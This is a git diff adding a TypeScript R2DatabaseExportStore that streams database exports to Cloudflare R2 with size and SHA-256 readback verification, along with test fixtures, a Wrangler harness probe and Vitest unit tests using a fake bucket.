this.#bucket = options.bucket; + this.#bucketName = options.bucketName; + this.#keyPrefix = options.keyPrefix ?? ''; + this.#DigestStream = options.streams.DigestStream; + this.#FixedLengthStream = options.streams.FixedLengthStream; + this.#randomUUID = options.randomUUID; + } + + async write(input: { + readonly databaseId: string; + readonly fileName: string; + readonly body: ReadableStream; + readonly contentLength?: number; + }): Promise<{ + readonly location: string; + readonly size: number; + readonly sha256: string; + }> { + const prepared = await Promise.resolve() + .then(() => this.#prepare(input)) + .catch((error: unknown) => { + // A tee branch's cancel settles when its sibling drains, so the + // refusal does not await it. + void input.body.cancel(error).catch(() => undefined); + throw error; + }); + const controller = new AbortController(); + const collision = new Error('R2 export key already exists'); + // A conforming R2Bucket.put returns a promise; a synchronous throw from + // an injected bucket escapes the fixed-message set. + const put = this.#bucket.put(prepared.key, prepared.fixed.readable, { + onlyIf: { etagDoesNotMatch: '*' }, + }); + const pipe = input.body.pipeTo(prepared.fixed.writable, { + signal: controller.signal, + }); + // `pipeTo` can reject before locking its destination, and the body can be + // locked between the check and this call; erroring the fixed writable + // settles the put. + void pipe.catch((reason: unknown) => { + void prepared.fixed.writable.abort(reason).catch(() => undefined); + }); + void put.then( + (object) => { + if (object === null) controller.abort(collision); + }, + (reason: unknown) => controller.abort(reason), + ); + const [putState, pipeState] = await Promise.allSettled([put, pipe]); + + if (putState.status === 'rejected') { + throw new Error('R2 export upload failed', { cause: putState.reason }); + } + if (putState.value === null) throw collision; + if (pipeState.status === 'rejected') { + return this.#failOwned( + prepared.key, + new Error('R2 export body did not stream completely', { + cause: pipeState.reason, + }), + ); + } + if (putState.value.size !== prepared.contentLength) { + return this.#failOwned( + prepared.key, + new Error('R2 export size differs from contentLength'), + ); + } + + const [storedState] = await Promise.allSettled([ + this.#bucket.get(prepared.key), + ]); + if (storedState.status === 'rejected') { + return this.#failOwned( + prepared.key, + new Error('R2 export readback failed', { cause: storedState.reason }), + ); + } + const stored = storedState.value; + if (stored === null) { + return this.#failOwned( + prepared.key, + new Error('R2 export readback found no object'), + ); + } + if (stored.size !== prepared.contentLength) { + return this.#failOwned( + prepared.key, + new Error('R2 export readback size differs from contentLength'), + ); + } + + const [digestConstructorState] = await Promise.allSettled([ + Promise.resolve().then(() => new this.#DigestStream('SHA-256')), + ]); + if (digestConstructorState.status === 'rejected') { + return this.#failOwned( + prepared.key, + new Error('R2 export readback failed', { + cause: digestConstructorState.reason, + }), + ); + } + const digest = digestConstructorState.value; + const readback: WorkerReadableStream = stored.body; + const [readState, digestState] = await Promise.allSettled([ + readback.pipeTo(digest), + digest.digest, + ]); + if (readState.status === 'rejected') { + return this.#failOwned( + prepared.key, + new Error('R2 export readback failed', { cause: readState.reason }), + ); + } + if (digestState.status === 'rejected') { + return this.#failOwned( + prepared.key, + new Error('R2 export readback failed', { cause: digestState.reason }), + ); + } + // Commit size, read metadata, and streamed byte count identify distinct + // disagreement points without buffering the export. + if (Number(digest.bytesWritten) !== prepared.contentLength) { + return this.#failOwned( + prepared.key, + new Error('R2 export readback length differs from contentLength'), + ); + } + + return { + location: `r2://${this.#bucketName}/${prepared.key}`, + size: prepared.contentLength, + sha256: toHex(digestState.value), + }; + } + + #prepare(input: { + readonly databaseId: string; + readonly fileName: string; + readonly body: ReadableStream; + readonly contentLength?: number; + }): PreparedUpload { + if (input.body.locked) throw new Error('R2 export body is locked'); + assertFileName(input.fileName); + if (!isPortablePathSegment(input.databaseId)) { + throw new Error('R2 export databaseId must be one portable path segment'); + } + if (input.contentLength === undefined) { + throw new Error('R2 export requires a known contentLength'); + } + if (input.contentLength === 0) { + throw new Error('R2 export refuses an empty body'); + } + if (!Number.isSafeInteger(input.contentLength) || input.contentLength < 1) { + throw new Error( + 'R2 export contentLength must be a positive safe integer', + ); + } + const uuid = this.#randomUUID(); + if (!isPortablePathSegment(uuid)) { + throw new Error( + 'R2 export key component must be one portable path segment', + ); + } + const key = `${this.#keyPrefix}${input.databaseId}/${uuid}-${input.fileName}`; + return { + key, + contentLength: input.contentLength, + fixed: new this.#FixedLengthStream(input.contentLength), + }; + } + + async #failOwned(key: string, error: unknown): Promise { + const [cleanupState] = await Promise.allSettled([this.#bucket.delete(key)]); + if (cleanupState.status === 'rejected') { + throw new AggregateError( + [error, cleanupState.reason], + 'database export and R2 cleanup failed', + ); + } + throw error; + } +} + +function isKeyPrefix(value: string | undefined): boolean { + if (value === undefined || value === '') return true; + if (!value.endsWith('/')) return false; + return value + .slice(0, -1) + .split('/') + .every((segment) => isPortablePathSegment(segment)); +} + +function toHex(value: ArrayBuffer): string { + return Array.from(new Uint8Array(value), (byte) => + byte.toString(16).padStart(2, '0'), + ).join(''); +} diff --git a/packages/fleet-control/src/wrangler-loop-backend.ts b/packages/fleet-control/src/wrangler-loop-backend.ts index fc81a7bd..4f920962 100644 --- a/packages/fleet-control/src/wrangler-loop-backend.ts +++ b/packages/fleet-control/src/wrangler-loop-backend.ts @@ -1,6 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -import type { DurableDatabaseExportStore } from './cloudflare-client.js'; +import type { DurableDatabaseExportStore } from './database-export-store.js'; import { PlainWorkerBackend, resolveMaintenanceRequestTimeoutMs, diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 45ab884c..79f2e9ab 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -7,7 +7,7 @@ import { chmod, mkdir, mkdtemp, rm, stat, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import { join, resolve } from 'node:path'; import { Readable } from 'node:stream'; -import type { DurableDatabaseExportStore } from './cloudflare-client.js'; +import type { DurableDatabaseExportStore } from './database-export-store.js'; import { providerBindingsToPlainWorkerShape, readField, diff --git a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts new file mode 100644 index 00000000..71125c7b --- /dev/null +++ b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts @@ -0,0 +1,213 @@ +// SPDX-License-Identifier: Apache-2.0 +/// + +import { R2DatabaseExportStore } from '../../src/r2-export-store.js'; + +interface Env { + readonly EXPORTS: R2Bucket; +} + +function sequence(length: number, seed: number): Uint8Array { + return Uint8Array.from({ length }, (_, index) => (index * 31 + seed) % 256); +} + +function bodyFrom(value: Uint8Array): ReadableStream { + return new ReadableStream({ + start(controller) { + controller.enqueue(value); + controller.close(); + }, + }); +} + +function equalBytes(left: Uint8Array, right: Uint8Array): boolean { + if (left.byteLength !== right.byteLength) return false; + for (let index = 0; index < left.byteLength; index += 1) { + if (left[index] !== right[index]) return false; + } + return true; +} + +function toHex(value: ArrayBuffer): string { + return Array.from(new Uint8Array(value), (byte) => + byte.toString(16).padStart(2, '0'), + ).join(''); +} + +function keyFromLocation(location: string): string { + const prefix = 'r2://exports/'; + if (!location.startsWith(prefix)) throw new Error('unexpected location'); + return location.slice(prefix.length); +} + +function messageOf(reason: unknown): string { + return reason instanceof Error ? reason.message : String(reason); +} + +function store(env: Env, uuid?: string): R2DatabaseExportStore { + return new R2DatabaseExportStore({ + bucket: env.EXPORTS, + bucketName: 'exports', + keyPrefix: 'exports/', + streams: { + DigestStream: crypto.DigestStream, + FixedLengthStream, + }, + randomUUID: uuid === undefined ? () => crypto.randomUUID() : () => uuid, + }); +} + +async function success(env: Env) { + const source = sequence(1_048_576, 17); + const result = await store(env).write({ + databaseId: 'success-db', + fileName: 'export.sqlite3', + body: bodyFrom(source), + contentLength: source.byteLength, + }); + const key = keyFromLocation(result.location); + const byteObject = await env.EXPORTS.get(key); + if (byteObject === null) throw new Error('success object missing'); + const readback = await byteObject.bytes(); + const digestObject = await env.EXPORTS.get(key); + if (digestObject === null) throw new Error('digest object missing'); + const digest = new crypto.DigestStream('SHA-256'); + await digestObject.body.pipeTo(digest); + const readbackSha256 = toHex(await digest.digest); + await env.EXPORTS.delete(key); + return { + location: result.location, + size: result.size, + sha256: result.sha256, + bytesEqual: equalBytes(readback, source), + objectSize: byteObject.size, + readbackSha256, + cleaned: (await env.EXPORTS.get(key)) === null, + }; +} + +async function empty(env: Env) { + const result = await Promise.allSettled([ + store(env).write({ + databaseId: 'empty-db', + fileName: 'export.sqlite3', + body: bodyFrom(new Uint8Array(0)), + contentLength: 0, + }), + ]); + const state = result[0]; + if (state.status === 'fulfilled') throw new Error('empty export succeeded'); + const listed = await env.EXPORTS.list({ prefix: 'exports/empty-db/' }); + return { + message: messageOf(state.reason), + objectCount: listed.objects.length, + }; +} + +async function short(env: Env) { + const result = await Promise.allSettled([ + store(env).write({ + databaseId: 'short-db', + fileName: 'export.sqlite3', + body: bodyFrom(sequence(2, 3)), + contentLength: 4, + }), + ]); + const state = result[0]; + if (state.status === 'fulfilled') throw new Error('short export succeeded'); + const listed = await env.EXPORTS.list({ prefix: 'exports/short-db/' }); + return { + message: messageOf(state.reason), + objectCount: listed.objects.length, + }; +} + +async function collision(env: Env) { + const fixed = 'collision-uuid'; + const first = sequence(4096, 11); + const second = sequence(4096, 29); + const exportStore = store(env, fixed); + const states = await Promise.allSettled([ + exportStore.write({ + databaseId: 'collision-db', + fileName: 'export.sqlite3', + body: bodyFrom(first), + contentLength: first.byteLength, + }), + exportStore.write({ + databaseId: 'collision-db', + fileName: 'export.sqlite3', + body: bodyFrom(second), + contentLength: second.byteLength, + }), + ]); + let fulfilled = 0; + let rejected = 0; + let failureMessage: string | undefined; + for (const state of states) { + if (state.status === 'fulfilled') { + fulfilled += 1; + } else { + rejected += 1; + failureMessage = messageOf(state.reason); + } + } + if (fulfilled !== 1 || rejected !== 1 || failureMessage === undefined) { + throw new Error('collision did not produce one winner'); + } + const key = `exports/collision-db/${fixed}-export.sqlite3`; + const object = await env.EXPORTS.get(key); + if (object === null) throw new Error('collision winner missing'); + const winnerBytes = await object.bytes(); + const winner = equalBytes(winnerBytes, first) + ? 'first' + : equalBytes(winnerBytes, second) + ? 'second' + : 'unknown'; + await env.EXPORTS.delete(key); + return { + fulfilled, + rejected, + message: failureMessage, + winner, + objectSurvived: winner !== 'unknown', + cleaned: (await env.EXPORTS.get(key)) === null, + }; +} + +async function dispatch(action: string, env: Env): Promise { + switch (action) { + case 'success': + return Response.json(await success(env)); + case 'empty': + return Response.json(await empty(env)); + case 'short': + return Response.json(await short(env)); + case 'collision': + return Response.json(await collision(env)); + default: + return Response.json({ error: 'unknown action' }, { status: 400 }); + } +} + +export default { + async fetch(request, env) { + const url = new URL(request.url); + if (request.method !== 'POST' || url.pathname !== '/r2-export') { + return new Response('not found', { status: 404 }); + } + const payload: unknown = await request.json(); + if (typeof payload !== 'object' || payload === null) { + return Response.json({ error: 'invalid request' }, { status: 400 }); + } + const action = Reflect.get(payload, 'action'); + if (typeof action !== 'string') { + return Response.json({ error: 'invalid action' }, { status: 400 }); + } + try { + return await dispatch(action, env); + } catch (error) { + return Response.json({ error: messageOf(error) }, { status: 500 }); + } + }, +} satisfies ExportedHandler; diff --git a/packages/fleet-control/test/fixtures/worker-streams.ts b/packages/fleet-control/test/fixtures/worker-streams.ts new file mode 100644 index 00000000..76c98f04 --- /dev/null +++ b/packages/fleet-control/test/fixtures/worker-streams.ts @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import type { + DigestStreamConstructor, + FixedLengthStreamConstructor, + R2DatabaseExportStoreStreamPrimitives, +} from '../../src/r2-export-store.js'; + +export class NodeDigestStream extends WritableStream< + ArrayBuffer | ArrayBufferView +> { + readonly digest: Promise; + readonly #byteCount: { value: number }; + + constructor(_algorithm: 'SHA-256') { + const hash = createHash('sha256'); + const byteCount = { value: 0 }; + let resolveDigest: (value: ArrayBuffer) => void = () => undefined; + let rejectDigest: (reason: unknown) => void = () => undefined; + const digest = new Promise((resolve, reject) => { + resolveDigest = resolve; + rejectDigest = reject; + }); + super({ + write(chunk) { + const bytes = ArrayBuffer.isView(chunk) + ? new Uint8Array(chunk.buffer, chunk.byteOffset, chunk.byteLength) + : new Uint8Array(chunk); + hash.update(bytes); + byteCount.value += bytes.byteLength; + }, + close() { + const result = hash.digest(); + const bytes = new Uint8Array(result.byteLength); + bytes.set(result); + resolveDigest(bytes.buffer); + }, + abort(reason) { + rejectDigest(reason); + }, + }); + this.digest = digest; + this.#byteCount = byteCount; + } + + get bytesWritten(): number { + return this.#byteCount.value; + } +} + +export class NodeFixedLengthStream extends TransformStream< + Uint8Array, + Uint8Array +> { + constructor(expectedLength: number) { + let bytesWritten = 0; + super( + { + transform(chunk, controller) { + bytesWritten += chunk.byteLength; + if (bytesWritten > expectedLength) { + throw new Error( + 'Attempt to write too many bytes through a FixedLengthStream.', + ); + } + controller.enqueue(chunk); + }, + flush() { + if (bytesWritten !== expectedLength) { + throw new Error( + 'FixedLengthStream did not see all expected bytes before close().', + ); + } + }, + }, + undefined, + { + highWaterMark: Math.max(expectedLength, 1), + size: (chunk) => chunk.byteLength, + }, + ); + } +} + +// These casts adapt Node stream objects to +// workers-types at the injection boundary. +export const nodeWorkerStreams: R2DatabaseExportStoreStreamPrimitives = { + DigestStream: NodeDigestStream as unknown as DigestStreamConstructor, + FixedLengthStream: + NodeFixedLengthStream as unknown as FixedLengthStreamConstructor, +}; diff --git a/packages/fleet-control/test/r2-export-store.harness.test.ts b/packages/fleet-control/test/r2-export-store.harness.test.ts new file mode 100644 index 00000000..7b7ee7f7 --- /dev/null +++ b/packages/fleet-control/test/r2-export-store.harness.test.ts @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + createTestHarness, + type TestHarness, + type WorkerHandle, +} from 'wrangler'; + +const ROOT = new URL('..', import.meta.url).pathname; +const PROBE = new URL('./fixtures/r2-export-harness-probe.ts', import.meta.url) + .pathname; + +function harnessOptions() { + return { + root: ROOT, + workers: [ + { + config: { + name: 'r2-export-harness-probe', + main: PROBE, + compatibility_date: '2026-08-06', + r2_buckets: [ + { + binding: 'EXPORTS', + bucket_name: 'fleet-r2-export-harness', + }, + ], + }, + }, + ], + } satisfies Parameters[0]; +} + +function field(value: unknown, name: string): unknown { + if (typeof value !== 'object' || value === null) { + throw new Error('probe returned a non-object response'); + } + return Reflect.get(value, name); +} + +describe.sequential('R2DatabaseExportStore Wrangler harness', { + timeout: 30_000, +}, () => { + let server: TestHarness; + let worker: WorkerHandle; + + beforeAll(async () => { + server = createTestHarness(harnessOptions()); + await server.listen(); + worker = server.getWorker(); + }, 30_000); + + afterAll(async () => { + await server.close(); + }, 30_000); + + async function probe(action: string): Promise { + const response = await worker.fetch('/r2-export', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ action }), + }); + const body: unknown = await response.json(); + if (!response.ok) { + throw new Error(`probe failed: ${JSON.stringify(body)}`); + } + return body; + } + + it('streams and independently verifies a deterministic large export', async () => { + const result = await probe('success'); + expect(result).toMatchObject({ + size: 1_048_576, + bytesEqual: true, + objectSize: 1_048_576, + cleaned: true, + }); + expect(field(result, 'location')).toMatch( + /^r2:\/\/exports\/exports\/success-db\/.+-export\.sqlite3$/, + ); + expect(field(result, 'sha256')).toMatch(/^[0-9a-f]{64}$/); + expect(field(result, 'readbackSha256')).toBe(field(result, 'sha256')); + }); + + it('refuses an empty export without creating an object', async () => { + await expect(probe('empty')).resolves.toEqual({ + message: 'R2 export refuses an empty body', + objectCount: 0, + }); + }); + + it('rejects a short body without leaving an object', async () => { + await expect(probe('short')).resolves.toEqual({ + message: 'R2 export upload failed', + objectCount: 0, + }); + }); + + it('preserves the winner of a conditional collision', async () => { + const result = await probe('collision'); + expect(result).toMatchObject({ + fulfilled: 1, + rejected: 1, + message: 'R2 export key already exists', + objectSurvived: true, + cleaned: true, + }); + expect(['first', 'second']).toContain(field(result, 'winner')); + }); +}); diff --git a/packages/fleet-control/test/r2-export-store.test.ts b/packages/fleet-control/test/r2-export-store.test.ts new file mode 100644 index 00000000..8997d994 --- /dev/null +++ b/packages/fleet-control/test/r2-export-store.test.ts @@ -0,0 +1,963 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import type { + R2Bucket, + R2Conditional, + R2GetOptions, + R2MultipartOptions, + R2MultipartUpload, + R2Object, + R2ObjectBody, + R2Objects, + R2PutOptions, + ReadableStream as WorkerReadableStream, + WritableStream as WorkerWritableStream, +} from '@cloudflare/workers-types'; +import { describe, expect, it } from 'vitest'; +import type { DurableDatabaseExportStore } from '../src/database-export-store.js'; +import { R2DatabaseExportStore } from '../src/r2-export-store.js'; +import { + NodeDigestStream, + NodeFixedLengthStream, + nodeWorkerStreams, +} from './fixtures/worker-streams.js'; + +type PutValue = + | WorkerReadableStream + | ArrayBuffer + | ArrayBufferView + | string + | null + | Blob; + +type PutMode = + | 'normal' + | 'reject-before' + | 'reject-mid' + | 'size-mismatch' + | 'null-before-read'; +type GetMode = + | 'normal' + | 'null' + | 'get-reject' + | 'size-mismatch' + | 'tamper' + | 'short' + | 'read-error'; + +function exactly(message: string): RegExp { + return new RegExp(`^${message.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')}$`); +} + +function bytes(...values: number[]): Uint8Array { + return Uint8Array.from(values); +} + +function streamFrom( + value: Uint8Array, + options: { + readonly errorAfter?: number; + readonly stayOpen?: boolean; + readonly rejectCancel?: boolean; + } = {}, +): { + readonly body: ReadableStream; + readonly cancellations: unknown[]; + readonly error: Error; +} { + const cancellations: unknown[] = []; + const error = new Error('scripted source failure'); + const cancelError = new Error('scripted cancel failure'); + let offset = 0; + const body = new ReadableStream({ + pull(controller) { + if (options.errorAfter !== undefined && offset >= options.errorAfter) { + controller.error(error); + return; + } + if (offset < value.byteLength) { + const end = Math.min(offset + 2, value.byteLength); + controller.enqueue(value.slice(offset, end)); + offset = end; + return; + } + if (!options.stayOpen) controller.close(); + }, + cancel(reason) { + cancellations.push(reason); + if (options.rejectCancel) throw cancelError; + }, + }); + return { body, cancellations, error }; +} + +function workerStreamFrom( + value: Uint8Array, + error?: Error, +): WorkerReadableStream { + const fixed = new nodeWorkerStreams.FixedLengthStream(value.byteLength); + const source = new ReadableStream({ + start(controller) { + if (value.byteLength > 0) controller.enqueue(value); + if (error === undefined) controller.close(); + else controller.error(error); + }, + }); + void source.pipeTo(fixed.writable).catch(() => undefined); + return fixed.readable; +} + +function metadata(key: string, size: number): R2Object { + return { + key, + version: '1', + size, + etag: 'etag', + httpEtag: '"etag"', + checksums: { toJSON: () => ({}) }, + uploaded: new Date(0), + storageClass: 'Standard', + writeHttpMetadata() {}, + }; +} + +function objectBody( + key: string, + reportedSize: number, + bodyBytes: Uint8Array, + readError?: Error, +): R2ObjectBody { + return { + ...metadata(key, reportedSize), + // Spread types drop method-signature members; restore the one + // R2ObjectBody needs. + writeHttpMetadata() {}, + body: workerStreamFrom(bodyBytes, readError), + bodyUsed: false, + async arrayBuffer() { + throw new Error('unused fake arrayBuffer'); + }, + async bytes() { + throw new Error('unused fake bytes'); + }, + async text() { + throw new Error('unused fake text'); + }, + async json(): Promise { + throw new Error('unused fake json'); + }, + async blob() { + throw new Error('unused fake blob'); + }, + }; +} + +function isReadable( + value: PutValue, +): value is WorkerReadableStream { + return ( + typeof value === 'object' && + value !== null && + 'getReader' in value && + typeof value.getReader === 'function' + ); +} + +class FakeR2Bucket implements R2Bucket { + readonly objects = new Map(); + readonly deleteCalls: string[] = []; + putCalls = 0; + putMode: PutMode = 'normal'; + putResolveAfterBytes: number | undefined; + getMode: GetMode = 'normal'; + deleteError: Error | undefined; + readonly putError = new Error('scripted put failure'); + readonly readError = new Error('scripted readback failure'); + + async head(_key: string): Promise { + throw new Error('unused fake head'); + } + + get( + key: string, + options: R2GetOptions & { onlyIf: R2Conditional | Headers }, + ): Promise; + get(key: string, options?: R2GetOptions): Promise; + async get( + key: string, + _options?: R2GetOptions, + ): Promise { + if (this.getMode === 'get-reject') throw this.readError; + if (this.getMode === 'null') return null; + const stored = this.objects.get(key); + if (stored === undefined) return null; + const reportedSize = + this.getMode === 'size-mismatch' + ? stored.byteLength + 1 + : stored.byteLength; + const bodyBytes = + this.getMode === 'tamper' + ? Uint8Array.from(stored, (byte) => byte ^ 0xff) + : this.getMode === 'short' + ? stored.slice(0, -1) + : stored; + return objectBody( + key, + reportedSize, + bodyBytes, + this.getMode === 'read-error' ? this.readError : undefined, + ); + } + + put( + key: string, + value: PutValue, + options: R2PutOptions & { onlyIf: R2Conditional | Headers }, + ): Promise; + put(key: string, value: PutValue, options?: R2PutOptions): Promise; + async put( + key: string, + value: PutValue, + options?: R2PutOptions, + ): Promise { + this.putCalls += 1; + if (!isReadable(value)) throw new Error('fake expects a readable stream'); + if (this.putMode === 'null-before-read') return null; + if (this.putMode === 'reject-before') throw this.putError; + const reader = value.getReader(); + const chunks: Uint8Array[] = []; + let size = 0; + for (;;) { + const chunk = await reader.read(); + if (chunk.done) break; + chunks.push(chunk.value.slice()); + size += chunk.value.byteLength; + if ( + this.putResolveAfterBytes !== undefined && + size >= this.putResolveAfterBytes + ) { + const result = combineChunks(chunks, size); + reader.releaseLock(); + this.objects.set(key, result); + return metadata(key, size); + } + if (this.putMode === 'reject-mid') { + await reader.cancel(this.putError); + throw this.putError; + } + } + const result = combineChunks(chunks, size); + const onlyIf = options?.onlyIf; + const conditional = + onlyIf !== undefined && + !(onlyIf instanceof Headers) && + 'etagDoesNotMatch' in onlyIf + ? onlyIf.etagDoesNotMatch + : undefined; + if (conditional === '*' && this.objects.has(key)) return null; + this.objects.set(key, result); + return metadata(key, this.putMode === 'size-mismatch' ? size + 1 : size); + } + + async delete(keys: string | string[]): Promise { + if (this.deleteError !== undefined) throw this.deleteError; + const values = typeof keys === 'string' ? [keys] : keys; + for (const key of values) { + this.deleteCalls.push(key); + this.objects.delete(key); + } + } + + async list(): Promise { + throw new Error('unused fake list'); + } + + async createMultipartUpload( + _key: string, + _options?: R2MultipartOptions, + ): Promise { + throw new Error('unused fake multipart upload'); + } + + resumeMultipartUpload(_key: string, _uploadId: string): R2MultipartUpload { + throw new Error('unused fake multipart upload'); + } +} + +function combineChunks( + chunks: readonly Uint8Array[], + size: number, +): Uint8Array { + const result = new Uint8Array(size); + let offset = 0; + for (const chunk of chunks) { + result.set(chunk, offset); + offset += chunk.byteLength; + } + return result; +} + +function createStore( + bucket: R2Bucket, + options: { + readonly bucketName?: string; + readonly keyPrefix?: string; + readonly randomUUID?: () => string; + readonly streams?: typeof nodeWorkerStreams; + } = {}, +): R2DatabaseExportStore { + return new R2DatabaseExportStore({ + bucket, + bucketName: options.bucketName ?? 'exports', + keyPrefix: options.keyPrefix, + randomUUID: options.randomUUID ?? (() => 'uuid-1'), + streams: options.streams ?? nodeWorkerStreams, + }); +} + +async function rejection( + operation: Promise, + message: string, +): Promise { + const state = await Promise.allSettled([operation]); + expect(state[0].status).toBe('rejected'); + if (state[0].status === 'fulfilled') throw new Error('expected rejection'); + expect(state[0].reason).toBeInstanceOf(Error); + if (!(state[0].reason instanceof Error)) throw new Error('expected Error'); + expect(state[0].reason.message).toMatch(exactly(message)); + return state[0].reason; +} + +describe('Node Worker stream fixtures', () => { + it('keeps the digest pending until close and counts bytes', async () => { + const digest = new NodeDigestStream('SHA-256'); + let settled = false; + void digest.digest.then(() => { + settled = true; + }); + expect(Number(digest.bytesWritten)).toBe(0); + const writer = digest.getWriter(); + await writer.write(bytes(1, 2, 3)); + expect(Number(digest.bytesWritten)).toBe(3); + expect(settled).toBe(false); + await writer.close(); + await expect(digest.digest).resolves.toBeInstanceOf(ArrayBuffer); + expect(Number(digest.bytesWritten)).toBe(3); + }); + + it('rejects the digest after abort', async () => { + const digest = new NodeDigestStream('SHA-256'); + const failure = new Error('abort'); + await digest.abort(failure); + await expect(digest.digest).rejects.toBe(failure); + }); + + it('errors both fixed-length halves for short and long sources', async () => { + for (const [expected, value] of [ + [4, bytes(1, 2)], + [1, bytes(1, 2)], + ] satisfies readonly (readonly [number, Uint8Array])[]) { + const fixed = new NodeFixedLengthStream(expected); + const source = streamFrom(value).body; + const reader = fixed.readable.getReader(); + const reads = (async () => { + for (;;) { + const chunk = await reader.read(); + if (chunk.done) return; + } + })(); + const states = await Promise.allSettled([ + source.pipeTo(fixed.writable), + reads, + ]); + expect(states.map((state) => state.status)).toEqual([ + 'rejected', + 'rejected', + ]); + } + }); +}); + +describe('R2DatabaseExportStore', () => { + it('streams bytes, returns the location, and hashes the readback', async () => { + const bucket = new FakeR2Bucket(); + const source = bytes(1, 2, 3, 4, 5); + const result = await createStore(bucket).write({ + databaseId: 'db-1', + fileName: 'backup.sqlite3', + body: streamFrom(source).body, + contentLength: source.byteLength, + }); + expect(result).toEqual({ + location: 'r2://exports/db-1/uuid-1-backup.sqlite3', + size: source.byteLength, + sha256: createHash('sha256').update(source).digest('hex'), + }); + expect(bucket.objects.get('db-1/uuid-1-backup.sqlite3')).toEqual(source); + expect(result.sha256).toMatch(/^[0-9a-f]{64}$/); + }); + + it('hashes same-length committed tampering from the readback', async () => { + const bucket = new FakeR2Bucket(); + bucket.getMode = 'tamper'; + const source = bytes(1, 2, 3, 4); + const result = await createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(source).body, + contentLength: source.byteLength, + }); + const tampered = Uint8Array.from(source, (byte) => byte ^ 0xff); + expect(result.sha256).toBe( + createHash('sha256').update(tampered).digest('hex'), + ); + expect(result.sha256).not.toBe( + createHash('sha256').update(source).digest('hex'), + ); + }); + + it('refuses invalid lengths, calls cancel, and starts no put', async () => { + for (const [contentLength, message] of [ + [undefined, 'R2 export requires a known contentLength'], + [0, 'R2 export refuses an empty body'], + [-1, 'R2 export contentLength must be a positive safe integer'], + [1.5, 'R2 export contentLength must be a positive safe integer'], + [ + Number.MAX_SAFE_INTEGER + 1, + 'R2 export contentLength must be a positive safe integer', + ], + ] satisfies readonly (readonly [number | undefined, string])[]) { + const bucket = new FakeR2Bucket(); + const source = streamFrom(bytes(1), { stayOpen: true }); + await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength, + }), + message, + ); + expect(source.cancellations).toHaveLength(1); + expect(bucket.objects).toHaveLength(0); + expect(bucket.putCalls).toBe(0); + } + }); + + it('returns an absent-length refusal while a tee sibling remains unread', async () => { + const source = streamFrom(bytes(1), { stayOpen: true }).body; + const [body] = source.tee(); + const bucket = new FakeR2Bucket(); + await expect( + Promise.race([ + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body, + }), + new Promise((_, reject) => + setTimeout(() => reject(new Error('refusal timeout')), 100), + ), + ]), + ).rejects.toThrow(exactly('R2 export requires a known contentLength')); + expect(bucket.putCalls).toBe(0); + }); + + it('cancels on UUID and fixed-stream construction failures', async () => { + const uuidError = new Error('uuid failed'); + const uuidBucket = new FakeR2Bucket(); + const invalidUuidBucket = new FakeR2Bucket(); + const fixedBucket = new FakeR2Bucket(); + const cases: readonly [ + FakeR2Bucket, + () => R2DatabaseExportStore, + string, + ][] = [ + [ + uuidBucket, + () => + createStore(uuidBucket, { + randomUUID: () => { + throw uuidError; + }, + }), + 'uuid failed', + ], + [ + invalidUuidBucket, + () => createStore(invalidUuidBucket, { randomUUID: () => '../bad' }), + 'R2 export key component must be one portable path segment', + ], + [ + fixedBucket, + () => + createStore(fixedBucket, { + streams: { + ...nodeWorkerStreams, + FixedLengthStream: class { + declare readonly readable: WorkerReadableStream; + declare readonly writable: WorkerWritableStream; + + constructor(_expectedLength: number) { + throw new Error('fixed failed'); + } + }, + }, + }), + 'fixed failed', + ], + ]; + for (const [bucket, makeStore, message] of cases) { + const source = streamFrom(bytes(1), { stayOpen: true }); + await rejection( + makeStore().write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 1, + }), + message, + ); + expect(source.cancellations).toHaveLength(1); + expect(bucket.putCalls).toBe(0); + } + }); + + it('reports malformed upload lengths without deleting an object', async () => { + for (const [expected, sourceBytes] of [ + [4, bytes(1, 2)], + [1, bytes(1, 2)], + ] satisfies readonly (readonly [number, Uint8Array])[]) { + const bucket = new FakeR2Bucket(); + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(sourceBytes).body, + contentLength: expected, + }), + 'R2 export upload failed', + ); + expect(error.cause).toBeInstanceOf(Error); + if (!(error.cause instanceof Error)) throw new Error('expected cause'); + expect(error.cause.message).toMatch( + exactly( + expected > sourceBytes.byteLength + ? 'FixedLengthStream did not see all expected bytes before close().' + : 'Attempt to write too many bytes through a FixedLengthStream.', + ), + ); + expect(bucket.objects).toHaveLength(0); + expect(bucket.deleteCalls).toHaveLength(0); + } + }); + + it('aborts the source when put rejects prior to reading', async () => { + const bucket = new FakeR2Bucket(); + bucket.putMode = 'reject-before'; + const source = streamFrom(bytes(1, 2, 3), { stayOpen: true }); + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: source.body, + contentLength: 3, + }), + 'R2 export upload failed', + ); + expect(error.cause).toBe(bucket.putError); + expect(source.cancellations).toHaveLength(1); + expect(bucket.deleteCalls).toHaveLength(0); + }); + + it('reports a mid-stream put rejection and does not delete', async () => { + const bucket = new FakeR2Bucket(); + bucket.putMode = 'reject-mid'; + const error = await rejection( + createStore(bucket).write({ + databaseId: 'db', + fileName: 'x.db', + body: streamFrom(bytes(1, 2, 3, 4)).body, + contentLength: 4, + }), + 'R2 export upload failed', + ); + expect(error.cause).toBe(bucket.putError); + expect(bucket.deleteCalls).toHaveLength(0); + }); + + 